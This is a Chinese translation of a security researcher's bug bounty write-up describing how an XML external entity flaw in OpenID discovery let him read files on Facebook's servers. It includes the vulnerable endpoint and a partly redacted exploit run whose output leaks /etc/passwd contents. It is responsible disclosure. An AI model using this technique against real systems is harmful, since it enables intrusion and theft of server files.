你們好!首先我作一下自我介紹。我叫Reginaldo Silva,是一名巴西籍的計算機工程師。最近個人工做與信息安全有關,尤爲是在Web應用程序安全性的方面。若是能夠的話,我很樂意給你們演示如何入侵網站和應用程序。個人主頁上有一些相關信息,歡迎你們瀏覽。javascript
今天,我想講一下我發現一個影響Facebook的遠程漏洞代碼的過程。正如通常的故事開頭那樣,這一過程也是在很長時間之前就開始了(實際上僅僅是一年多,但我依然感受很漫長)。若是你以爲這個話題頗有趣,或者想讓我幫你在你的(或你公司的)代碼中作一些有關審查和滲透測試的安全問題,請發郵件給我。個人郵箱是 reginaldo@ubercomp.com。php
2012年的9月22日對我來講是個特別的日子,由於那天我發現了一個XML外部實體擴展(XXE)漏洞,它能影響Drupal管理OpenID的那部分功能。XML外部實體的功能很強大,它能讀文件系統中的全部文件,能鏈接任意網絡。若是你想尋求刺激,你能夠用billion laughs進行DoS攻擊。html
最開始我並無在乎其餘人也存在這樣的漏洞,當我發現時,我當即將其提交到CVE上。這是個人第一個貢獻,因此從那之後我將這條信息寫在了簡歷上(這條漏洞的編號是CVE-2012-4554)。五天後,我忽然想到OpenID的應用很廣,所以,其它地方也可能存在這樣的漏洞。我檢查了一下StackOverflow的登陸方式,發現的確存在漏洞,並且可危及整個網站。java
而後,我準備查找谷歌服務器中的OpenID 代碼。雖然我沒法打開文件,沒法進行網絡鏈接,但谷歌的應用引擎和博客平臺都很容易受到DoS攻擊。這個漏洞讓我賺到了第一桶金,大約有500美圓。node
在向谷歌報告了這個漏洞後,我又測試了幾個實例,最後發現,這個漏洞正在危及許多系統。這裏就不列舉具體內容了,可是用Java, C#, PHP, Ruby, Python, Perl等語言編寫的運行庫或多或少都存在問題。不公佈的緣由是由於這些系統實在太脆弱了。一個瞭解安全機制的人能夠讀取OpenID 和XML外部實體,而後就能一段惡意代碼進行攻擊。哎呀,我有些跑題了。web
以後我聯繫了一些編寫OpenID庫的開發者,有些做者只把安全列表託管在了OpenID基金會上面,我又給他們發了一篇題爲「一個能夠掌控一切的漏洞:運用XML外部實體實現 OpenID中的脆弱性」的郵件來講明這一問題。我想大部分庫做者都是列表中的成員,因此補丁將會發給他們每一個人。我自覺得作得很好了,事實上,我才走了一小步而已。安全
跟我常常交流的讀者依然有這樣的問題:Facebook的遠程代碼執行漏洞究竟是什麼?它居然使咱們作到這種程度。過去,Facebook使用OpenID進行登陸。然而,當我在2012年第一次發現OpenID漏洞的時候,我就找不到任何能進入任意OpenID網址的終結點。之前能夠在bash
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false
動些手腳,如今 consumer_helper.php節點已經關閉了。一年後我覺得Facebook的安全性有所提升,但我又測試了一下忘記密碼獲得了這樣的結果:服務器
https://www.facebook.com/openid/receiver.php
那時候我開始懷疑Facebook仍是存在一年前我發現的那個漏洞的危害。而後我作了許多測試證實了這個猜測。簡言之,若是你忘記密碼了,你能夠向Facebook說明你有一個@gmail.com的郵箱,而後登陸本身郵箱後,把本身的信息提交給Facebook。這其實是用郵箱登進Facebook的,這種登陸方式就是基於OpenID的。到目前爲止,一切都進展的不錯,只是我本身遇到了些問題。我知道,因爲工做的失誤,OpenID的依賴方須要向已被控制的OpenID提供商(OP)發送一個Yadis發現請求,好比說http://www.ubercomp.com/。而後個人惡意提供商就會回覆一個惡意的XML,它被依賴方解析,從而遭受XXE攻擊。網絡
由於我沒有干預原始的OpenID請求(Facebook 與 Google之間的直接請求),實際上我沒有機會進入在我控制下的做爲OpenID標示符的網址,也沒有讓Facebook發送Yadis發現請求到這個網站。因此,我想這種錯誤應該不會發生了,除非我能獲取谷歌到Facebook的那段惡意XML,而這種可能性極低。幸運的是,我錯了。在仔細閱讀了 OpenID 2.0 規範後,第11.2節驗證發現的信息寫到:
若是聲明的標示符沒有事先告訴依賴方(「openid標識」能夠是「http://specs.openid.net/auth/2.0/identifier_select」,或是不一樣的標示符,或是OP發送的標識判斷),依賴方必須提出來,以確保該OP有權對聲稱的身份標識作出判斷。
我看了一下,openid標識果然是http://specs.openid.net/auth/2.0/identifier_select。實際上許多系統使用的都是這個。在幾分鐘後,我向 https://www.facebook.com/openid/receiver.php 發了一個請求,它可讓Facebook向一個被我控制的網站發送一個Yadis請求。以後會返回包含惡意XML的響應。 當我向Facebook服務器請求打開/dev/random,服務器不會返回響應,並且幾分鐘後請求會失效。即便如此,我仍是不能打開任意文件。我嘗試了許多XXE,包括各類組合和參數實體,但仍是一無所得。而後我忽然意識到在此過程當中是存在一些問題的,改正以後……
$ bash exploit.sh * About to connect() to www.facebook.com port 80 (#0) * Trying 31.13.75.1... connected * Connected to www.facebook.com (31.13.75.1) port 80 (#0) > GET /openid/receiver.php?provider_id=1010459756371 &context=account_recovery&protocol=http&request_id=1 &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0 &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1 > Host: www.facebook.com > Accept: */* > User-Agent: Chrome > < HTTP/1.1 200 OK < Cache-Control: private, no-cache, no-store, must-revalidate < Expires: Sat, 01 Jan 2000 00:00:00 GMT < P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" < Pragma: no-cache < X-Content-Type-Options: nosniff < X-Frame-Options: DENY < X-XRDS-Location: http://www.facebook.com/openid/xrds.php < X-XSS-Protection: 0 < Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT; path=/; domain=.facebook.com; httponly < Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com < Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...; path=/; domain=.facebook.com < Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...; path=/; domain=.facebook.com < Content-Type: text/html; charset=utf-8 < X-FB-Debug: ...(redacted)... < Date: Tue, 19 Nov 2013 15:34:24 GMT < Transfer-Encoding: chunked < Connection: keep-alive < <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <script> function envFlush(a) { function b(c) { for (var d in a) c[d] = a[d]; } if (window.requireLazy) { window.requireLazy(['Env'], b); } else { Env = window.Env || {}; b(Env); } } envFlush({ "user": "0" }); <title>Facebook</title> <script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script> <script type="text/javascript">window.Bootloader && Bootloader.done(["ASVup"]);</script> </head> <body class="Locale_en_US"> <script type="text/javascript"> Bootloader.setResourceMap({ "\/2NZV": { "type": "js", "crossOrigin": 1, "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js" }, "GduTW": { "type": "js", "crossOrigin": 1, "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js" } }); </script> <script type="text/javascript"> require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]); </script> <script type="text/javascript"> Bootloader.configurePage([]); Bootloader.done([]); require("InitialJSLoader").handleServerJS({ "require": [ ["OnloadHooks"], ["lowerDomain"] ] }); onloadRegister_DEPRECATED(function () { openid_submit_response({ "__ar": 1, "error": 1428005, "errorSummary": "Error while processing response", "errorDescription": { "__html": " \ There was an error while processing the OpenID response. \ No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \ <br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \ got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\ root:x:0:0:root:\/root:\/bin\/bash\n \ bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \ daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \ adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \ lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \ sync:x:5:0:sync:\/sbin:\/bin\/sync\n \ shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \ halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \ mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \ uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \ operator:x:11:0:operator:\/root:\/sbin\/nologin\n \ games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \ gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \ ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \ nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \ dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \ ...(REDACTED)..." }, "payload": null, "bootloadable": {}, "ixData": [] }, 1) }); </script> </body> </html> * Connection #0 to host www.facebook.com left intact * Closing connection #0
沒錯,響應中包含了Facebook的/etc/passwd。如今,咱們能夠隨意訪問了。我以爲我發現了通向王國的道路。經過Facebook 服務器視圖節點可以讀取任意文件和進行網絡鏈接,視圖節點不須要代理,這但是 Facebook不惜高成本創建的。隨後我又有了新想法,以爲應該將其造成一個完整遠程執行程序。
網絡中漏洞獎勵計劃是很是好的方式,它也有本身的規則:無論什麼時候發現了漏洞,請不要猶豫。將其按程序提交,安全小組會全面考慮,並向支付相應的報酬。起初,我並不信任 Facebook的安全小組,而且認爲他們不會把我提交的漏洞看作是遠程代碼執行漏洞。我不想形成誤解,因此我決定當即提交,而後我申請了一個權限進行RCE升級。升級完畢後,它能夠正常運行。我想這應該沒什麼問題了。由於大部分漏洞都須要花很長時間來處理,我有足夠的時間升級RCE,同時我以爲我是一個優秀的白帽黑客。在寫完漏洞報告後,我決定出去走走,順便吃個午飯,回來以後繼續工做。
然而,我又錯了,由於這是一個嚴重的漏洞,吃過午餐後,我加快了速度。我把報告發出去不到2個小時,讓我既難忘又難過,但由於我知道如何升級遠程代碼執行漏洞,我將如何修復告訴了安全小組。當他們測試攻擊是否有效時,我很相信他們給出的結論。我爲個人做爲而高興。在接到一些反饋和4封郵件後,安全小組確認個人攻擊是安全的,我發現的RCE的確能影響他們的服務器。
因此這就是攻擊的入口,即我迄今發現的第一個高衝擊漏洞。它大概也是懸賞最高的漏洞之一。另外,我還能夠吹牛說我攻入了Facebook……不錯,是吧?順便說一句,安全小組的成員也寫了一篇關於這事的文章。
歡迎加入Hacker News進行討論。
事件時間點
全部時間以格林威治標準時間。不重要的信息我就不提了。
原文:XXE in OpenID: one bug to rule them all, or how I found a Remote Code Execution flaw affecting Facebook's servers
轉載自:伯樂在線 - smilesisi